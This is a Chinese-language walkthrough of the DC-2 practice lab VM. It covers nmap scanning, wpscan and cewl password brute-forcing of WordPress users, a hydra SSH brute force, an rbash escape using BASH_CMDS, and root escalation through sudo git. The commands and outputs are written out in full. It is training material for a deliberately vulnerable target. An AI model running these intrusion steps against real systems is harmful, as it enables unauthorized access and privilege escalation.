练习靶场

1、目标:

目标就是我们搭建的靶场,靶场IP为:10.0.2.0/24

DC—2  靶场记录_nmap


DC—2  靶场记录_提权_02

2、信息收集:寻找靶机真实IP

nmap -sP 10.0.2.0/24

DC—2  靶场记录_DC  练习_03

3、信息收集:探端口及服务

nmap -sV -A 10.0.2.132

DC—2  靶场记录_nmap_04

发现开放了80端口,存在web服务,Apache/2.4.10,发现开放了7744端口,开放了ssh服务,OpenSSH 6.7p1

4、访问web站点

http://10.0.2.132/

发现访问不了,发现输入的ip地址自动转化为了域名,dc-2这个域名解析失败,我们需要更改hosts文件,添加一个ip域名指向。

修改hosts文件,添加靶机IP到域名dc-2的指向

DC—2  靶场记录_nmap_05


DC—2  靶场记录_nmap_06

添加完成之后,再次访问,访问成功

DC—2  靶场记录_nmap_07

可以很明显的发现这是一个wordpress的站点

5、发现flag1

在网页下面我们flag

大致意思如下:
你通常的单词列表可能不起作用,所以,也许你只是得小心点。
更多的密码总是更好,但有时你就是赢不了他们都是。
以一个身份登录,以查看下一个标志。
如果你找不到它,就以另一种身份登录。

发现有flag,点进去,提示用cewl来获取密码,所有应该是爆破密码之类的,且提示自己的密码字典可能无效,且有时没法获得所有密码,提示用其他的身份去登录

DC—2  靶场记录_提权_08


6、做一个目录扫描

用cewl来做字典

  1. 且登录进去才有可以拿到下一个flag
  2. 果断用wpscan列出用户
wpscan --url http://dc-2 -e u
wpscan --url http://dc-2一样

DC—2  靶场记录_nmap_09

admin
tom
jerry
  1. 用cewl生成字典
cewl http://dc-2/ > 1.txt
  1. 用wpscan进行用户爆破
wpscan --url http://dc-2 --passwords 1.txt

DC—2  靶场记录_靶场_10

[i] Valid Combinations Found:
 | Username: jerry, Password: adipiscing
 | Username: tom, Password: parturient
  1. 通过jerry用户登录后台发现flag2,提示走别的切入点

DC—2  靶场记录_靶场_11

DC—2  靶场记录_提权_12

提示无法利用wordpress采取捷径,尝试令一种方法,之前nmap扫描出了7744端口,可以尝试ssh登录

发现使用tom账号登录成功

  1. 再扫描一下端口发现7744 ssh服务
nmap -sV -p- dc-2
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 20:36 CST
Nmap scan report for dc-2 (172.16.0.12)
Host is up (0.00047s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
80/tcp open http  Apache httpd 2.4.10 ((Debian))
7744/tcp open ssh  OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
MAC Address: 00:0C:29:B7:BA:FE (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.01 seconds

复制

  1. 尝试hydra爆破ssh
hydra -L users.txt -P passwds.txt dc-2 -s 7744 ssh -vV
[7744][ssh] host: dc-2 login: tom password: parturient

复制

  1. 登录ssh
ssh tom@dc-2 -p 7744

DC—2  靶场记录_DC  练习_13

tom@DC-2:~$ whoami
-rbash: whoami: command not found
tom@DC-2:~$ pwd
/home/tom
tom@DC-2:~$ ls
flag3.txt usr
tom@DC-2:~$ cat flag3.txt
-rbash: cat: command not found
  1. 发现是一个受限的bash,直接rbash绕过获取到flag3.txt内容

rbash,即受限制的 bash,其可以用作中转服务器(实际上rbash只是bash的一个软链接)。它与一般shell的区别在于会限制一些行为,让一些命令无法执行。

tom@DC-2:~$ BASH_CMDS[a]=/bin/sh;a # 赋值给a
$ export PATH=$PATH:/bin/ # 导入环境变量
$ export PATH=$PATH:/usr/bin
$ ls
flag3.txt usr
$ cat flag3.txt
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.

DC—2  靶场记录_DC  练习_14


  1. 提示su切换jerry,使用之前后台爆破出来的密码成功登录
jerry@DC-2:~$ cat flag4.txt 
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. 
Go on - git outta here!!!!

DC—2  靶场记录_靶场_15

提示最终的home,应该是要提权了,且是利用git
find / -perm -u=s -type f 2>/dev/null 发现没有find和git命令,通过sudo查看发现jerry用户无需root密码可以执行git sudo -l
jerry@DC-2:/home$ sudo -lMatching Defaults entries for jerry on DC-2:
 env_reset, mail_badpass,
 secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jerry may run the following commands on DC-2:
 (root) NOPASSWD: /usr/bin/git
  1. git提权

可使用$sudo git help config 或者 $ sudo git -p help

sudo git -p help # -p强制进入交互模式

!/bin/sh

DC—2  靶场记录_靶场_16